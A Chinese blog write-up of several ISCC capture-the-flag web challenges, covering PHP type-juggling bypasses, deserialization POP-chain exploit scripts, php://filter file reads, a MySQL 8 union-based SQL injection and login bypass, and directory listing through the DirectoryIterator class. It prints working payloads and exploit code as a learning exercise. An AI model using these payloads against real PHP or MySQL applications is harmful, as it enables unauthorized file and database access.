ISCC web题复现

前言

第一次参加ISCC线上赛,感觉题目质量还是挺好的,擂台赛都是大佬们的主场,向我这样的小白也只能学学新东西。在此总结做过的web题目以及相关知识点。

冬奥会

这是一道典型的代码审计。代码中需要满足Step1和Step2都为true。

看代码主体部分

这里需要绕过三处,第一处is_numeric函数通过字符绕过。

第二处array_search函数,被搜索的数组中有0时,它会返回int(0)从而绕过该函数。

第三处is_array函数,在下标一的位置设置一个数组,从而达到该函数的要求。同时item要满足三个元素。

最终payload:

?Information={"year":"hahh","items":[0,[1],"haha"]}

从而得出flag。在这个题目中我觉得关键点就是这个array_search函数的一个绕过吧。

Pop2022

这题刚开始可以直接访问flag.php,之后就修复了,

这是一个反序列化构造pop链的题目,先看题目代码,有一个include函数,存在文件包含

采用php伪协议读取源码:php://filter/convert.base64-encode/resource=index.php

尾部是append函数调用,首部是Road_is_Long中的__construct魔术方法,大致pop链是

Road_is_Long->page=new Road_is_Long()->string=Make_a_Change()->effort=Try_Work_Hard()

构造exp:

<?php
class Road_is_Long{
	public $page;
    public $string;
}
class Try_Work_Hard{
	protected  $var='php://filter/convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
	public $effort;
}
$a = new Road_is_Long();
$b = new Try_Work_Hard();
$c = new Make_a_Change();
$d = new Road_is_Long();
$a->page=$d;
$d->string=$c;
$c->effort=$b;
echo urlencode(serialize($a));
?>

有protect修饰的属性,在序列化时有不可见字符,所以我们要url编码。 将运行结果打进去,然后base64解码就能得出flag。

其实这个题跟之前有个题很相似,中规中矩的一个pop链的构造,我觉得以往构造这种链子先找到tostring魔术方法是比较重要的。

Easy-SQL

题目提醒传id参数,测试几组没有回显,用sleep函数发现是时间盲注。同时也发现select被过滤了。 在查询id=8的时候,可以看见email表。

用sqlmap爆出了数据库和版本号。数据库没什么作用,mysql8.0版本有新特性。

 新特性:select * from user相当于table user。从而可以绕过select查询到表。我们爆出emalis表,  payload:

id=-1 union table emails limit 7,1 # (检索第八行)

可以发现一个zip压缩包,通过url访问压缩包,并下载。发现是index.php的源码。对源码进行代码审计。

得到flag需要满足两个条件,让username===admin,和让select查询出来的passwd与POST传参的passwd值相同。

该表有三个字段,id,username,passwd。select查询后返回的passwd值与post传参的passwd值都是可控的,所以可以构造payload:

username=0' union select 1,'admin',3#&passwd=3

admin是要加引号,不然会被当作字符串处理。当然也可以十六进制绕过。抓包改post发包得flag

我觉得这个题的关键的点就是mysql8.0的新特性的一个绕过,还有就是在代码审计中的union创建虚拟表的相关内容。

爱国敬业好青年-2

题目中国让我们找出好青年所处城市的经纬度。在青年1题目中出现过北京天安门,百度搜索北京天安门的经纬度,查的是东经116°23′北纬39°54′。根据要求格式提交。

得出假的flag。f12查看源码,可以得出数据是post传参,参数分别为lati和langti。action为flag。

 

所以我们这么传参 ,就得出了flag。

 这一题就是看前端代码还有稍微大的脑洞。

findme

出现一张图片查看源代码发现unser.php,访问这个php文件出现一大堆代码。

最下面有unserialize函数,说明要考反序列化。用data参数post方式传递数据。

题目中有hint.php,大概是有提示的,我们想办法读取这个文件。这里有三个判断,我们可以用php伪协议来读取hint.php,让un2赋值为php://filter/convert.base64-encode/resource=正好可以拼接后面的hint.php。

构造的exp很简单就不说了,打进去得一串base64,解码得到提示。

 提示有两点,flag放在以f开头的txt文件中,该txt文件放在当前web目录下。

接着我们可以执行命令查看,但是没有回显,行不通。审计代码可以发现Givemeanew()函数是去实例化一个类,类是我们可控的,并且yigei()函数将这个类的执行结果打印出来,那我们就用原生类的反序列化。 我们可以用DirectoryIterator的一个内置类进行目录遍历。

将un0赋值为DirectoryIterator,这是一个php内置类,配合glob伪协议可以用来读取目录,我们已经知道这个txt文件放在/var/www/html目录下,所以构造exp:

<?php
class a{
    public $un0="DirectoryIterator";
    public $un1="glob:///var/www/html/f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4; 
}
$flag = new a();
echo serialize($flag);
?>

找到txt文件,访问这个文件得到flag。

这道题就是考察了个简单的利用原生类去遍历目录,算是比较基础的原生类反序列化了。

结语

剩下的web题,如果条件允许还会尽力复现。

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值